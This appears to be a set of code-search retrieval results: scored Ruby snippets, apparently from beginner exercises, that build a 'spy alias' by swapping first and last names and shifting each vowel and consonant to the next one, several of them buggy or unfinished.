[ { "docid": "fae37acf5131959cb51cffe6a0cb5ef9", "score": "0.7907737", "text": "def name_swapper(full_name)\n full_name = full_name.downcase\n vowel_array = ['a','e','i','o','u']\n consenant_array = \"bcdfghjklmnpqrstvwxyz\".split('')\n name_array = full_name.split(\" \")\n reversed_name= \"#{name_array[1]} #{name_array[0]}\"\n secret_name = reversed_name.split('').map! do |letter|\n if vowel_array.include?(letter)\n vowel_array[vowel_array.index(letter)+1]\n elsif consenant_array.include?(letter)\n consenant_array[consenant_array.index(letter)+1]\n elsif letter == \" \"\n \" \"\n end\n\n end\n puts \"Your name USED to be #{full_name.upcase}...but now your name is #{secret_name.join.upcase}!\"\n secret_name.join.upcase\nend", "title": "" }, { "docid": "db9434c0d912c750066bf1cde07ac454", "score": "0.7857059", "text": "def make_up_name(name)\nchanged_name = [] #empty array to push letters from name into when it goes through iteration\nvowels = \"aeiou\"\n\nconsonant = \"bcdfghjklmnpqrstvwxyz\"\n\n\n#if the index of the name provided is a consonant then change it to the next letter.\n\nindex = 0 #start at 0\n \n while index < name.length\n \t\tletter = name[index] #takes every index of every letter in name and stores it in a variable\n \t\tif vowels.include?(letter) #deals with edge case\n \t\t\tif letter == \"u\"\n \t\t\t\tchanged_name.push(\"a\")\n \t\t\telse #need to make it so every other vowel changes to next vowel letter.next\n \t\t\tend\n \t\telsif consonant.inlcude?(letter)\n \t\t\tif letter == \"z\" #deals with edge case\n \t\t\t\tchanged_name.push(\"b\")\n \t\t\telse #everything else will need to be next letter using letter.next \t\t \t\t\n \t\t\tend\n \t\telsif letter == \" \"\n \t\t\t\tchanged_name.push(\" \")\n \t\t\tend\n \t\t \t index += 1\n \tend\nnew_name_array = changed_name.join('') #takes all the letters in the array above and puts it in a new array\nnew_name_array.each {|name| p name.capitalize}\nend", "title": "" }, { "docid": "7565cdc97e814ae66f7c5e4cc8caff8b", "score": "0.78436625", "text": "def fake_name(name)\n\n name_array = name.split('')\n\n name_array.map! do |letter|\n vowels = ['a','e','i','o','u', 'a']\n i = 0\n until i>vowels.length\n if i == 5\n letter = letter.next\n if vowels.include?(letter.downcase)\n letter = letter.next\n end\n break\n elsif letter.downcase == vowels[i]\n letter = vowels[i+1]\n break\n elsif letter.downcase == \" \"\n break\n else\n i += 1 \n end \n end\n letter\n end\n\n p name_array \n\n final_name = name_array.join.split(' ')\n\n final_name.map! do |letter|\n letter.capitalize\n end\n\n final_name2 = final_name.rotate.join(' ')\n\n return final_name2\n\nend", "title": "" }, { "docid": "e09397c7288db0df30e6b7a1b57be1d7", "score": "0.77781576", "text": "def aliass(full_name)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\tvowels = \"aeiou\"\n\tnew_string = \"\"\n\n full_name.split('').each do |letter|\n \t\tif vowels.include?(letter)\n \t\t\tnew_string += vowel(letter)\n \t\telsif alphabet.include?(letter)\n \t\t\tnew_string += consonant(letter)\n \t\telse\n \t\t\tnew_string += letter\n \t\tend\nend\n#Transform this new string into an array\n#Swap first and second word in array\n#Turn new word into string\n#Create empty array outside of loop\nnew_word = new_string.split(' ')\n new_word.reverse!\n\nnew_word.map {|names| names.capitalize!}\nnew_string = new_word.join(\" \")\nend", "title": "" }, { "docid": "599085b48c1611f8b24b3e731171af13", "score": "0.7773132", "text": "def aliass(full_name)\n alphabet = \"bcdfghjklmnpqrstvwxyz\"\n vowels = \"aeiou\"\n new_string = \"\"\n \n #break input word into array and iterate through each letter\n #if the letter is a vowel, take it and change it to next_vowel\n #if the letter is a consonant, take it and change it to consonant\n #else just add with no modification\n full_name.split('').each do |letter|\n if vowels.include?(letter)\n new_string += vowel(letter)\n elsif alphabet.include?(letter)\n new_string += consonant(letter)\n else\n new_string += letter\n end\n end\n #transform this new string into an array\n new_word = new_string.split(' ')\n #swap first and second word in array\n new_word.reverse!\n #turn new word into string\n new_word.map {|names| names.capitalize!}\n new_string = new_word.join(\" \")\n end", "title": "" }, { "docid": "28c1631adc5a50307a1f2eada4b03ba1", "score": "0.77289444", "text": "def change_name(name)\n\t\t# create alphabet range\n\t\tvowels = 'aeiou'\n\t\tvowel_change = vowels.split('').reverse\n\t\tconsonants = 'abcdefghijklmnopqrstuvwxyz'\n\t\tconsonant_change = consonants.delete('aeiou').split('').reverse\n\n\t\toriginal_name = name\n\t\tname_reverse = original_name.downcase.split.reverse.join('').split('')\n\n\n\t\tnew_name = name_reverse.map do |letter|\n\t\t\tif vowels.include?(letter)\n\t\t\t\tvowel_change[vowel_change.index(letter)-1]\n\t\t\telsif consonants.include?(letter)\n\t\t\t\tconsonant_change[consonant_change.index(letter)-1]\n\t\t\telse\n\t\t\t\tletter\n\t\t\tend\nend\n\nfinal_name = new_name.join.split.map { |name| name.capitalize}.join('')\nend", "title": "" }, { "docid": "93dd4d7809673f70e6662e95e1ce9e1f", "score": "0.7686727", "text": "def name_handler(name)\n name = name.downcase.chars #takes the input and makes it downcase and breaks it into an array to increment through\n name_new = name.map do |letter| #create a new array called name_new and start block to increment through each array\n letter_change(letter)\n end\n #Code addressing capitalization and swapping first / last\n namearr = name_new.join('').split #join the new_name array back into a string\n p namearr\n first_name = namearr[0] #assign first name to a new variable based on index\n last_name = namearr[1] #assign first name to a new variable based on index\n name_new = last_name.capitalize! + \" \" + first_name.capitalize! #capitalize and swap first for last\nend", "title": "" }, { "docid": "19e837933e9b569c62e56678cc251481", "score": "0.762476", "text": "def make_fake_name (name)\n\t# Swap first & last name\n\tswap_name = name.split(' ').reverse.join(' ')\n\n\t# Swap characters - change all vowels to next vowel,\n\t# and all consonants to next consonant\n\n\t# Initialize fake_name & index (counter) variables \n\tfake_name = ''\n\tindex = 0\n\twhile index < swap_name.length\n\t\tchar = swap_name[index]\n\n\t\t# For each character\n\t\tif char == ' '\n\t\t\t# If space, add space\n\t\t\tfake_name += ' '\n\t\telse\n\t\t\t# Handle lower & uppercase properly\n\t\t\tif char == char.downcase\n\t\t\t\tfake_name += get_swapped_char(char)\n\t\t\telse\n\t\t\t\tfake_name += get_swapped_char(char.downcase).upcase\n\t\t\tend\n\t\tend\n\n\t\t# Increment counter\n\t\tindex += 1\n\tend\n\n\tfake_name\nend", "title": "" }, { "docid": "2c8278b286db65988e0a7c348ee89f6d", "score": "0.7618841", "text": "def make_fake_name(name)\n # downcase to avoid issues due to capitalization\n # convert name to an array of characters\n # for each letter,\n name = name.downcase.chars.map! do |letter|\n # if it is a vowel, change it to the next vowel\n if 'aeiou'.include?(letter)\n next_vowel(letter)\n # elsif it is a letter, change it to the next consonant\n elsif ('a'..'z').include?(letter)\n next_consonant(letter)\n # otherwise, nil it\n end\n end\n # convert name back to a string and re-capitalize it\n name = name.join.capitalize\nend", "title": "" }, { "docid": "e986458e511b9d092e5c255acef14f08", "score": "0.7589072", "text": "def fake_name (full_name)\n words_array = full_name.split (\" \")\n swap_name_array = words_array.reverse\n swap_name = swap_name_array.join(\" \")\n letters = swap_name.chars\n fake_letters = []\n letters.each do |letter|\n vowel = %w[a A e E i I o O u U]\n if vowel.include?(letter)\n fake_letters << next_vowel(letter)\n elsif letter == \" \"\n fake_letters << \" \"\n else\n fake_letters << next_unvowel(letter)\n end\nend\n return fake_letters.join (\"\")\nend", "title": "" }, { "docid": "82e83f037e46582c1d4537d0ee89df75", "score": "0.75596404", "text": "def nameSwitch(name)\n vowels = 'aeiou'\n new_name = ''\n newname = name.split(' ').reverse.join(' ')\nend", "title": "" }, { "docid": "4ccdd6e7a878dd6de17eff8a60b8a20d", "score": "0.755473", "text": "def namecoder\n valid_input = false\n until valid_input\n secret_name_database = []\n \n puts \"Whats your first name?\"\n fname = gets.chomp.downcase.split('')\n puts \"What's your last name?\"\n lname = gets.chomp.downcase.split('')\n original_name = [fname,\" \", lname].join\n fullname = [fname,\" \", lname].reverse.flatten\n # p fullname\n \n fullalphabet = \"abcdefghijklmnopqrstuvwxyz\"\n consonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\n alpha = ['a', 'b', 'c', 'd', 'e', 'u', 'z']\n vowels = ['a', 'e', 'i', 'o', 'u']\n \n # vowel_code(original_name)\n vowels = ['a', 'e', 'i', 'o', 'u']\n fn_vowel = fullname.map do |vowel|\n if vowels.include?(vowel)\n vowels.rotate(1)[vowels.index(vowel)]\n else\n vowel\n end\n end\n # p fn_vowel \n # name_vowels_changed.join\n \n # def cons_code(name_vowels_changed)\n # name_vowels_changed = name_vowels_changed.split('')\n name_both_changed = fn_vowel.map do |cons|\n if consonants.include?(cons)\n consonants.rotate(1)[consonants.index(cons)]\n else\n cons\n end\n end\n # p name_both_changed\n secret_name = name_both_changed.join\n orig_fullname = fullname.join.capitalize\n secret_name_database << [original_name, secret_name]\n p original_name\n p secret_name\n \n puts \"Press enter if you'd like to do another name. Otherwise, type 'quit'.\"\n continue = gets.chomp\n if continue == \"quit\"\n puts \"Thank you for using the program. Here is your list of names:\"\n secret_name_database.each do |orig, secret|\n puts \"#{orig}'s secret name is #{secret}.\"\n end \n valid_input = true\n else\n puts \"Time to add another name...\"\n end \n end\nend", "title": "" }, { "docid": "619b969b659a7978e290bd99f44560dc", "score": "0.7519541", "text": "def name_change(normal_name)\nvowels = \"aeiouAEIOU\".split(\"\")\nconsonants = \"bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ\".split(\"\")\n\nchanged_name = normal_name.split(\" \")\nchanged_name[0], changed_name[1] = changed_name[1], changed_name[0]\n split_name = changed_name.join(\" \")\nname = split_name.split(\"\")\n\nnew_name = \"\"\nname.each_with_index do |letter, letter_index|\n if vowels.include?(letter)\n vowels.each_with_index do |vowel, vowel_index|\n if letter === vowel\n if letter === \"u\"\n new_name << \"a\"\n elsif letter === \"U\"\n new_name << \"A\"\n else\n new_name << vowels[vowel_index+1]\n end\n end\n end\nend\n if consonants.include?(letter)\n consonants.each_with_index do |consonant, consonant_index|\n if letter === consonant\n if letter === \"z\"\n new_name << \"b\"\n elsif letter === \"Z\"\n new_name << \"B\"\n else\n new_name << consonants[consonant_index+1]\n end\n end\n end\nend\n if letter === \" \"\n new_name << \" \"\n end\n end\n new_name\nend", "title": "" }, { "docid": "f14dac3f79aa604d91e1486caad560a7", "score": "0.7472378", "text": "def aliass(full_name)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\tvowels = \"aeiou\"\n\tnew_string = \"\"\n\n\t#break input word into array and iterate through each letter\n\t#if the letter is a vowel, take it and change it to next_vowel\n\t#if the letter is a consonant, take it and change it to consonant\n\t#else just add with no modification\n\tfull_name.split('').each do |letter|\n\t\tif vowels.include?(letter)\n\t\t\tnew_string += vowel(letter)\n\t\telsif alphabet.include?(letter)\n\t\t\tnew_string += consonant(letter)\n\t\telse\n\t\t\tnew_string += letter\n\t\tend\n\tend\n\t#transform this new string into an array\n\tnew_word = new_string.split(' ')\n\t#swap first and second word in array\n\tnew_word.reverse!\n\t#turn new word into string\n\tnew_word.map {|names| names.capitalize!}\n\tnew_string = new_word.join(\" \")\nend", "title": "" }, { "docid": "15ca52a895e21f0ced7fad1fc6481a98", "score": "0.74634767", "text": "def name_converter(first_name, last_name)\n #1. swap the order names\n swapped_names = fake_name(first_name, last_name)\n #2 break swappedNames into array\n character_array = swapped_names.split('')\n #3. iterate through array\n vowel = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n consonant = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\",\"y\",\"z\"]\n\n result = ''\n character_array.each do |character|\n if vowel.include?(character)\n #move forward next vowel in vowel array\n if character == 'u'\n result += 'a'\n next\n end \n \n current_index = vowel.index (character)\n new_index = current_index + 1\n #3. go to vowel array with new_index and retrieve that letter\n # next_letter = 'i'\n # add next_letter to result\n result += vowel[new_index]\n\n #follow same steps for moving forward next vowel for consonant \n\n elsif consonant.include?(character)\n if character == \"z\"\n result += 'b'\n next\n end\n\n current_index = consonant.index (character)\n new_index = current_index + 1\n\n result += consonant [new_index]\n\n result += character \n # add new letter to result\n end\n end\n #4. if the character is a vowel do a vowel swap\n #5. elsif the character is a consonant do a consonant swap\n \n result\nend", "title": "" }, { "docid": "bc34409ad1e4ffdc99b1cea339da650d", "score": "0.7450275", "text": "def change_name(name)\r\n\t#store new name in new variable, downcase, split in an array and reverse order\r\n\tnew_name = name.downcase.split(' ').reverse.join(' ')\r\n\t#return the array of all the letters\r\n\t#p new_name\r\n\t#puts new_name.length\r\n\t#p new_name\r\n\talias_and_real_name = []\r\n\tindex = 0\r\n\tvowel_list = \"aeiou\"\r\n\tconsonant_list = \"bcdfghjklmnpqrstvwxyz\"\r\n\twhile index < new_name.length\r\n\t\t#[index] takes and integer and retunrs char, .index takes a char\r\n\t\t#and returns integer**\r\n\t\t#Does the letter at the # index of new_name match the vowel_list string\r\n\t\tif vowel_list.include?(new_name[index])\r\n\t\t\t#next_vowel_index is a #\r\n\t\t\t#it equals the vowel string at the letter index \r\n\t\t\t#from new_name's # index\r\n\t\t\t#Then get the next number\r\n\t\t\tnext_vowel_index = vowel_list.index(new_name[index]).next\r\n\t\t\t#new_name at that index # now equal this new # \r\n\t\t\t#Equals the vowel list at index of the next #\r\n\t\t\tnew_name[index] = vowel_list[next_vowel_index]\r\n\t\t\t\t#Solve for edge cases\r\n\t\t\t\t#If the letter is the name is going to be the last letter \r\n\t\t\t\t#in the vowel string, change it automatically to \r\n\t\t\t\t#the first on\r\n\t\t\r\n\t\t\t\r\n\t\telsif consonant_list.include?(new_name[index])\r\n\t\t\tnext_consonant_index = consonant_list.index(new_name[index]).next\r\n\t\t\tnew_name[index] = consonant_list[next_consonant_index]\r\n\r\n\t\tend #End if statement\r\n\t\t#Incriment outside of if statment but inside while loop\r\n\t\tindex += 1\r\n\t\r\n\tend #End While loop\r\n\r\n\t#return the new alias name\r\n\tnew_name\r\n\t\r\n\t#Take the alias name and stoe it in an array, new name first and real \r\n\t#name second\r\n\talias_and_real_name << new_name << name\r\n\t\r\n#End method\t\t\r\nend", "title": "" }, { "docid": "c655494f797a645f371f72df6de05bc1", "score": "0.74414736", "text": "def change_name(name)\n # swapes names\n name = name.split(' ').reverse.join(' ')\n\n #change all consonant's\n name = name.downcase.split('').map do |l|\n if l.match(/[a,e,i,o,u,\\s]/)\n l = l\n #account for edge case\n elsif l == \"z\"\n l = \"b\"\n else\n l = l.next\n #fixes consonant's that changed into vowels\n if l.match(/[a,e,i,o,u]/)\n l.next\n else\n l = l\n end\n end\n end\n#Loop through vowles\n for i in 0..name.length()-1\n case name[i]\n when \"a\"\n name[i] = \"e\"\n when \"e\"\n name[i] = \"i\"\n when \"i\"\n name[i] = \"o\"\n when \"o\"\n name[i] = \"u\"\n when \"u\"\n name[i] = \"a\"\n end\n end\nname = name.join()\nname = name.split.map(&:capitalize).join(' ')\nputs name\nname\nend", "title": "" }, { "docid": "3298cb54219cf4da8f69048fdc5a34ca", "score": "0.7354434", "text": "def alias\n puts \"Hello Agent, what is your name?\"\n original_name = gets.chomp.downcase\n\n# split first and last name into two arrays\n#swap first name and last name \n\n split_name = original_name.split\n reverse_name = split_name.reverse!\n \n #join back together in a string with a space\n new_name = reverse_name.join(\" \")\n \n\n# each character into it's own array\n\n letters = new_name.each_char.to_a\n#vowel logic\n#if a charcters = vowel then change to next vowel\n\n\n\n vowels = %w(a e i o u a)\n consonant = %w(b c d f g h j k l m n p q r s t v w x y z b)\n new_alias = letters.map do |letter|\n letter.next \n end\nputs new_alias.join('')\nend", "title": "" }, { "docid": "b4b3cffdcf8dd9504693a7c1dd02f719", "score": "0.7341625", "text": "def spy_name(realname)\n\tvowels = ['a','e','i','o','u']\n\tconsonants = ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n\treverseName = realname.downcase.split(\" \").reverse!\n\tfullName = reverseName[0] + \" \" + reverseName[1]\n\tletteredName = fullName.split('')\n \tletteredName.map! do |letter|\n \t if vowels.include?(letter)\n \t vowels.rotate(1)[vowels.index(letter)]\n \t elsif consonants.include?(letter)\n \t consonants.rotate(1)[consonants.index(letter)]\n \t end\n \tend\nfullName = letteredName.join('').insert(reverseName[0].length,' ')\nfullName.capitalize!\ntwoNames = fullName.split(\" \")\ntwoNames[1].capitalize!\nfullName = twoNames[0] + \" \" + twoNames[1]\np fullName\nend", "title": "" }, { "docid": "12155e740cb12afcf863c10ff083f1b2", "score": "0.73223734", "text": "def spy_name(str)\n #CREATE VARIABLES FOR VOWELS AND CONSONANTS\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n #CHANGE STRING FIRST INTO ARRAY THAT MAKES EACH WORD A VALUE THEN REVERSE THEM. \n #THEN TURN ARRAY BACK INTO STRING AND DOWNCASE ANY LETTER.\n #THEN TURN STRING BACK INTO ARRAY THAT TAKES EACH INDIVIDUAL CHARACATER AS A VALUE.\n str = str.split(' ').reverse.join.downcase\n str = str.split('')\n #CREATE TEMPORARY VARIABLE STR_NEW TO EQUEL STR THEN CHANGE BUMP EACH \n #VOWEL AND CONSONANT TO THE NEXT ONE IN LINE. \n str_new = str.map do |char|\n if vowels.include?(char)\n vowels.rotate(1)[vowels.index(char)]\n elsif consonants.include?(char)\n consonants.rotate(1)[consonants.index(char)]\n else\n char\n end\n end\n #TURN ARRAY BACK INTO STRING.\n str_new.join\nend", "title": "" }, { "docid": "9f860dadd7d9867a86ea1be5e14a7c1a", "score": "0.73101836", "text": "def spy_name(real_name) ####Still in progress...######\nnew_name = real_name.downcase\nadjust = new_name.split(' ')\nfirst_n = adjust[0].split('')\nlast_n = adjust[1].split('')\n\n\tindex = 0\n\tuntil index == first_n.last\n\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n\t\t\tif first_n[index] == [\"a\", \"e\", \"i\", \"o\"]\n\t\t\t\tfirst_n[index] = vowels.next\n\t\t\telsif first_n[index] == \"u\"\n\t\t\t\tfirst_n[index] = \"a\"\n\t\t\telsif first_n[index] == \"z\"\n\t\t\t\tfirst_n[index] = \"b\"\n\t\t\telse first_n[index].next\n\t\t\t\tfirst_n[index] = first_n[index].next\n\t\tend\n\t\tindex += 1\n\tend\n#don't forget to return the method\n\tindex = 0\n\tuntil index == last_n.last\n\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n\t\t\tif last_n[index] == [\"a\", \"e\", \"i\", \"o\"]\n\t\t\t\tlast_n[index] = vowels.next\n\t\t\telsif last_n[index] == \"u\"\n\t\t\t\tlast_n[index] = \"a\"\n\t\t\telsif last_n[index] == \"z\"\n\t\t\t\tlast_n[index] = \"b\"\n\t\t\telse last_n[index].next\n\t\t\t\tlast_n[index] = last_n[index].next\n\t\tend\n\t\tindex += 1\n\tend\n\n\nend", "title": "" }, { "docid": "17e0c3d5116ce2fa7e035d723dab8874", "score": "0.7285412", "text": "def alias_manager\nname = \"\"\nvowels = \"aeiou\"\nconsonants = \"bcdfghjklmnpqrstvwxyz\"\ninput = \"\"\nuser_input = []\ncapitalized_name_storage = []\ncounter = 0\n\nwhile input != \"quit\"\nputs \"What is your first and last name? Please separate with a space. Type 'quit' to exit.\"\ninput = gets.chomp\nif input == \"quit\"\n puts \"Thanks for using Alias Manager.\"\nelse\n user_input << input\n name = input.downcase.split(' ').reverse.join(' ')\n reverse_name = name\n split_reverse = reverse_name.chars\n new_name = \"\"\n split_reverse.map! do |letter|\n if letter == \" \"\n new_name += \" \"\n elsif letter.scan(/[aeiou]/).join == \"a\" ||\n letter.scan(/[aeiou]/).join == \"e\" ||\n letter.scan(/[aeiou]/).join == \"i\" ||\n letter.scan(/[aeiou]/).join == \"o\"\n index = vowels.index(letter)\n new_name += vowels[index + 1]\n elsif letter.scan(/[aeiou]/).join == \"u\"\n index = vowels.index(letter)\n new_name += \"a\"\n elsif letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"b\" || letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"c\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"d\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"f\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"g\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"h\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"j\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"k\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"l\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"m\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"n\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"p\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"q\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"r\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"s\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"t\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"v\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"w\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"x\" ||\n letter.scan(/[bcdfghjklmnpqrstvwxyz]/).join == \"y\"\n index = consonants.index(letter)\n new_name += consonants[index + 1]\n elsif letter == \"z\"\n new_name += \"b\"\n else\n p \"ERROR, UNRECOGNIZED CHARACTER\"\n end\n end\n\n capitalized_name_array = new_name.split(' ').map! {|name| name. capitalize}\n p capitalized_name = capitalized_name_array.join(' ')\n capitalized_name_storage << capitalized_name\nend\nend\nputs \"Summary:\"\nuser_input.each do |name|\n puts \"Name converted: #{name} is now #{capitalized_name_storage[counter]}.\"\n counter += 1\nend\nend", "title": "" }, { "docid": "6ff47e442f7cebf6fe0e02a026d5e932", "score": "0.7209861", "text": "def vowel_changer(name)\n vowel_string = \"aeiou\"\n name_array = name.downcase.chars\n new_name = []\n name_array.each do |character|\n if character == \"u\"\n character = \"a\"\n new_name << character\n elsif vowel_string.include? character\n character = vowel_string[vowel_string.index(character) +1]\n new_name << character\n else\n new_name << character\n end\n end\n new_name.join(\"\").split(\" \").each {|word| word.capitalize!}.join(\" \")\nend", "title": "" }, { "docid": "773248d55047d476a219b09ec6190031", "score": "0.7199408", "text": "def fake_name(name)\n fake_name = name.chars.map! do |letter|\n if letter == \" \"\n letter = \" \"\n elsif \"aeiou\".include?(letter)\n letter = next_vowel(letter)\n elsif \"zdhnt\".include?(letter)\n letter = pre_vowel_scramble(letter)\n else\n letter.next\n end\n end\n fake_name = fake_name.join\n swap_name_order(fake_name)\nend", "title": "" }, { "docid": "43c46e352ea27a1dbd84daa4311b7b1a", "score": "0.71895665", "text": "def letter_change\n consonant = \"bcdfghjklmnpqrstvwxyz\"\n vowel = \"aeiou\"\n new_name = \"\"\n letter_new = \"\"\n\n split_flip_name.each do |letter|\n if consonant.index(letter) != nil\n letter_new = consonant[consonant.index(letter) + 1]\n elsif vowel.index(letter) != nil\n #addresses last vowel edge case\n if letter == \"u\"\n letter_new = \"a\"\n elsif\n letter_new = vowel[vowel.index(letter) + 1]\n end\n elsif letter == \" \"\n letter_new = letter\n end\n #.to_s addresses a nil edge case\n new_name += letter_new.to_s\n end\n p new_name\n\nend", "title": "" }, { "docid": "8287b167be43c26b94db60c6ce838326", "score": "0.7179209", "text": "def name_rotate(name)\r\n consonants = %w[b c d f g h j k l m n p q r s t v w x y z]\r\n vowels = ['a', 'e', 'i', 'o', 'u']\r\n \r\n name = name.downcase.split('')\r\n \r\n name_rotate = name.map { |char|\r\n if vowels.include?(char)\r\n vowels.rotate(1)[vowels.index(char)]\r\n elsif consonants.include?(char)\r\n consonants.rotate(1)[consonants.index(char)]\r\n else\r\n char\r\n end\r\n }\r\n \r\n name_rotate.join.split(' ').reverse.map { |x| x.capitalize }.join(' ')\r\nend", "title": "" }, { "docid": "691a20a2b484f43ee69076c2a921a9c6", "score": "0.7161922", "text": "def reverberate(sent)\n new_arr = []\n words_arr = sent.split(\" \")\n vowels = \"aeiouAEIOU\"\n words_arr.each do |word|\n capt = false\n if word.capitalize == word\n capt = true\n end\n if word.length < 3\n new_arr << capt ? word.capitalize : word #new_arr << capt ? word.capitalize : word\n elsif vowels.include?(word[-1])\n new_arr << (capt ? (word * 2).capitalize : word * 2)\n elsif !vowels.include?(word[-1])\n rev_index = word.chars.reverse.index { |char| vowels.include?(char) }\n i = word.length - 1 - rev_index\n new_arr << (capt ? (word + word[i..-1]).capitalize : word + word[i..-1])\n end\n end\n new_arr.join(\" \")\nend", "title": "" }, { "docid": "89921b65770640aa77cc3b7ad4d71506", "score": "0.7150058", "text": "def advance(string)\n\n vowels_str = 'aeioua'\n vowels_arr = vowels_str.split('')\n consonants_str = 'bcdfghjklmnpqrstvwxyzb'\n consonants_arr = consonants_str.split('')\n \n string0 = string.downcase.split[1] + \" \" + string.downcase.split[0]\n str1 = string0.split('')\n\n str_new = str1.map do |char|\n if vowels_arr.include?(char)\n vowels_arr.rotate(1)[vowels_arr.index(char)]\n elsif consonants_arr.include?(char)\n consonants_arr.rotate(1)[consonants_arr.index(char)]\n else\n char\n end\n end\n\n newname = str_new.join #joining the array into a string\n spyname = newname.split.map(&:capitalize).join(' ') #splitting that string to capitalize the first letter, then rejoining\n p spyname\n realname = string.split.map(&:capitalize).join(' ')\n $codenames << [spyname, realname]\nend", "title": "" }, { "docid": "1b0786c2d0440b38d5d47bf39d6be83d", "score": "0.714466", "text": "def fakeName(name)\r\n\tnameLen = name.length\r\n\tnameIndex = 0\r\n\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n\tcons = [\"b\", \"c\",\"d\", \"f\",\"g\", \"h\",\"j\", \"k\",\"l\", \"m\",\"n\", \"p\",\"q\", \"r\",\"s\", \"t\",\"v\", \"x\", \"z\",\"w\", \"y\"]\r\n\tnewName = \"\"\r\n\twhile nameIndex < nameLen\r\n\t\tvowelArrayIndex = 0\r\n\t\tvowels.each do |vow|\r\n\t\t\tif name[nameIndex] == vow\r\n\t\t\t\tnextchar = next_vowel(vowelArrayIndex)\r\n\t\t\t\tnewName = newName + nextchar\r\n\t\t\tend\r\n\t\t\tvowelArrayIndex += 1\r\n\t\tend\r\n\t\tvowelArrayIndex = 0\r\n\t\tconsArrayIndex = 0\r\n\t\tcons.each do |cons|\r\n\t\t\tif name[nameIndex] == cons\r\n\t\t\t\tnextchar = next_cons(consArrayIndex)\r\n\t\t\t\tnewName = newName + nextchar\r\n\t\t\tend\r\n\t\t\tconsArrayIndex += 1\r\n\t\tend\r\n\t\tnameIndex += 1\r\n\tend\r\n\treturn newName\r\nend", "title": "" }, { "docid": "9583848d419e0b093919dabdb51c0077", "score": "0.71389985", "text": "def name_swap(name)\n reverse_name = name.downcase.split.reverse.join(' ')\n vowel_swap = reverse_name.tr!('aeiou', 'eioua')\n consonant_swap = vowel_swap.tr!('bcdfghjklmnpqrstvwxyz', 'cdfghjklmnpqrstvwxyz').split\n final_alias = consonant_swap.map(&:capitalize).join(' ')\nend", "title": "" }, { "docid": "9a9552c2eb3c5e88a90c8e0e2fbfb47b", "score": "0.7108517", "text": "def name_swap(name)\n new_name = name.downcase.split(' ')\n spy_name = new_name[1] + ' ' + new_name[0]\n vowels = 'aeioua'\n consonants = 'bcdfghjklmnpqrstvwxyzb'\n new_letter = \"\"\n spy_name.chars.each do |letter|\n if vowels.include?(letter)\n new_letter += change_vowels(letter)\n #p new_letter\n elsif consonants.include?(letter)\n new_letter += change_consonant(letter)\n #p new_letter\n else\n new_letter += letter\n end\n end\n change_name = new_letter.split(' ')\n final_name = change_name.map{|name| name.capitalize}.join(' ')\n# Add a hash to store names and alias names\n alias_names = { name: name, encrypted_name: final_name}\n alias_names.store(:name, name)\n alias_names.store(:encrypted_name, final_name)\n return alias_names\n end", "title": "" }, { "docid": "f56b48255b44c6b108fa9e5ccab7c41d", "score": "0.7095595", "text": "def get_spy_name(names)\n # no space in between names or too manynames\n if names.count(\" \") == 0\n print \"Enter 2 names\"\n return nil\n elsif names.count(\" \") > 1\n print \"Enter just 2 names\"\n return nil\n end\n\n names_arr = swap_names(names)\n\n names_arr.map!{ |name|\n chars_array = name.chars\n\n chars_array.map!{ |char|\n char = next_letter(char)\n }\n }\n\n # capitalize first letter of both names\n names_arr[0][0].capitalize!\n names_arr[1][0].capitalize!\n\n #insert space after new first name\n names_arr.insert(1, ' ')\n\n return names_arr.join()\nend", "title": "" }, { "docid": "1719e8b8990f633d599980c2415fdfb8", "score": "0.70873195", "text": "def name_scrambler\r\n\t\r\n\r\n\tscrambled_names = {}\r\n\tputs \"What is your first and last name?\"\r\n\tuser_name = gets.chomp \r\n\twhile user_name != \"quit\" && user_name != \"\" \r\n\t\tnew_name = user_name.downcase.split(' ').reverse!.join(' ')\r\n\t\tname_to_array = new_name.chars\r\n\t\t# This takes the string version of the name and makes it into an \tarray, with each letter separated. \r\n\t\tconsonants = %w{b c d f g h j k l m n p q r s t v w x y z}\r\n\t\tvowels = %w{a e i o u}\r\n\t\t# Setting the new strings we want our conditions to match\r\n\t\tname_to_array.map! do |letter| \r\n\t\t\tif letter == \"u\"\r\n\t\t\t\tletter = \"a\"\r\n \t\t\telsif 